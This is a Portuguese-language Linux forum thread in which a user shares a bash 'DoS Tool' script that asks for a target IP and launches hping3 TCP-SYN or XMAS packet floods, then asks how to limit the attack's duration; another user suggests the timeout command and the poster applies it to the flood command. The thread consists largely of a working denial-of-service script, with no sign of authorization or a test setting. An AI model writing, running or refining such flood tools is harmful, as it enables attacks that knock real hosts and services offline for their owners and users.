Presciso encerrar a script sem dar Ctrl C. [RESOLVIDO]

1. Presciso encerrar a script sem dar Ctrl C. [RESOLVIDO]

Neto Bala
vanz1k

(usa Ubuntu)

Enviado em 16/11/2019 - 18:18h

Enfim, queria saber se tem como eu colocar um tempo para a script encerrar um processo ou colocar pra ela dar o ^C setando por alguns segundos, eu fiz uma ferramenta de DoS e o metodo q uso nessa ferramenta n tem um tempo para você setar pro ataque durar, então vc tem q parar com o Ctrl C e isso atrapalha mt, queria saber se tem algum argumento em bash shell script q faça a script parar, tentei colocar um exit mas n sei se funciona kk, ta ai o code:
#!/bin/bash
clear

echo -e '\033[05;36m[+] DoS Tool [+]\033[00;37m'
echo ""
echo "Defina o Alvo[IP]:"
read ip
echo ""
echo "[Metodos]"
echo "TCP-SYN = 1"
echo "XMAS = 2"
echo ""
echo "Escolha um metodo:"
read metodo
echo ""
echo "Defina o tempo de ataque em segundos:"
read segundos

if [ "$metodo" = "1" ]
then
sudo hping3 $ip -c 1000000 -d 120 -S -w 64 --flood
exit $segundos
fi

if [ "$metodo" = "2" ]
then
sudo hping3 $ip -c 1000000 -d 65455 -X -w 64 --flood
exit $segundos
fi



  


2. MELHOR RESPOSTA

Ryuk Shinigami
Ryuk

(usa Nenhuma)

Enviado em 16/11/2019 - 18:28h

Dá uma lida aí no comando "timeout":
man timeout 


3. Re: Presciso encerrar a script sem dar Ctrl C. [RESOLVIDO]

Neto Bala
vanz1k

(usa Ubuntu)

Enviado em 16/11/2019 - 18:31h

Ryuk escreveu:

Dá uma lida aí no comando "timeout":
man timeout 


Obg mano <3


4. Re: Presciso encerrar a script sem dar Ctrl C. [RESOLVIDO]

Neto Bala
vanz1k

(usa Ubuntu)

Enviado em 16/11/2019 - 18:44h

Ryuk escreveu:

Dá uma lida aí no comando "timeout":
man timeout 


so uma duvida, o comando seria esse no caso? timeout --kill-after=$segundos sudo hping3 $ip -c 1000000 -d 65455 -X -w 64 --flood